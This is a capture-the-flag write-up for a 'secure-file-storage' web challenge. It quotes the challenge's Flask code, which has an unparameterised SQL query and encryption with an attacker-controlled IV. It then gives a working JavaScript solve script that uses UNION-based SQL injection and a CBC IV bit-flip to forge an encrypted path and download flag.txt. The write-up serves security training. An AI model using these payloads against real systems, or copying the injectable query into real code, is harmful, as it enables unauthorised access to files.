/..

#CONTENT

#TOP

challenge
20 KiB2024-07-08 06:20
config
345 bytes2024-07-08 06:20
AAAAAAAAAAAA.txt
0 bytes2024-07-08 06:20
build-docker.sh
195 bytes2024-07-08 06:20
Dockerfile
782 bytes2024-07-08 06:20
flag.txt
18 bytes2024-07-08 06:20
README.mdx
3 KiB2024-07-08 06:20
s4-web-secure-file-storage.zip
12 KiB2024-07-08 06:20

#secure-file-storage

Simple SQL injection in fetch_file_db:

challenge/application/database.py
JS
def fetch_file_db(user_id,file_id):
try:
file = db.session.execute(text(f"SELECT * FROM File WHERE id = {file_id}")).first()
if file:
filepath = decrypt(file.filepath)
filename = decrypt(file.filename)
if file.user_id == user_id and filepath is not None and filename is not None:
return {"id":file.id,"filepath":filepath.decode(),"filename":filename.decode(),"title":file.title}
return False
except Exception as e:
logging.error(e)
return False

However this does not automatically give LFI because the filename and filepath are encrypted:

challenge/application/database.py
JS
def insert_file_db(user_id,filepath,filename,title):

new_file = File(user_id=user_id,
filepath=encrypt(filepath).decode(),
filename=encrypt(filename).decode(),
title=title)

db.session.add(new_file)
db.session.commit()
return True
challenge/application/util.py
JS
def encrypt(plaintext):
try:

if type(plaintext) == str:
plaintext = plaintext.encode()

cipher = AES.new(app.config["AES_KEY"], AES.MODE_CBC)
enc = cipher.encrypt(pad(plaintext, AES.block_size))
return base64.b64encode(cipher.iv+enc)
except Exception as e:
logging.error(e)
return None

The issue with this kind of encryption (known IV, known plaintext) is that the IV is embedded directly and not verified, so we can inject a new IV to fake the first 16 bytes of any encrypted field.

#solve script

solve.js
JS
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
  12 
  13 
  14 
  15 
  16 
  17 
  18 
  19 
  20 
  21 
  22 
  23 
  24 
  25 
  26 
  27 
  28 
  29 
  30 
  31 
  32 
  33 
  34 
  35 
  36 
  37 
  38 
  39 
  40 
  41 
  42 
  43 
  44 
  45 
  46 
  47 
  48 
  49 
  50 
async function inject(path, id) {
let res = await fetch(`https://uscybercombine-s4-web-secure-file-storage.chals.io/api/files/${path}`, {
"credentials": "include",
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:127.0) Gecko/20100101 Firefox/127.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=1",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
'Content-Type': 'application/x-www-form-urlencoded'
},
"referrer": "https://uscybercombine-s4-web-secure-file-storage.chals.io/files",
"method": "POST",
"mode": "cors",
"body": new URLSearchParams({ "file_id": id })
});
return await res.text();
}

async function field(id, field) {
return JSON.parse(await inject("info", `2 UNION SELECT null, 3, ${field}, filename, filepath FROM File WHERE id = ${id}`)).message.file;
}

function pad(string) {
let padding = 16 - string.length % 16;
for (let i = string.length; i < 16; i++) {
string += String.fromCharCode(padding);
}
return string;
}

var file = await field(392, "filename");
console.log(file);
var filename = atob(file.title);
var iv = filename.slice(0, 16);
var enc = filename.slice(16);
var padded = pad(file.filename);
var niv = Array.from("/".repeat(8) + "flag.txt")
.map((ch, i) => iv.charCodeAt(i) ^ padded.charCodeAt(i) ^ ch.charCodeAt(0))
.map(ch => String.fromCharCode(ch))
.join("");
var fake = btoa(niv + enc);
var flag = await inject("download", `2 UNION SELECT null, 3, 'FAKE', '${fake}', filepath FROM file WHERE id = 392`);
console.log(flag);

I was lazy so it is meant to run in the browser console.

#flag: SIVUSCG{b1t_fl1pp3d_f1l3s}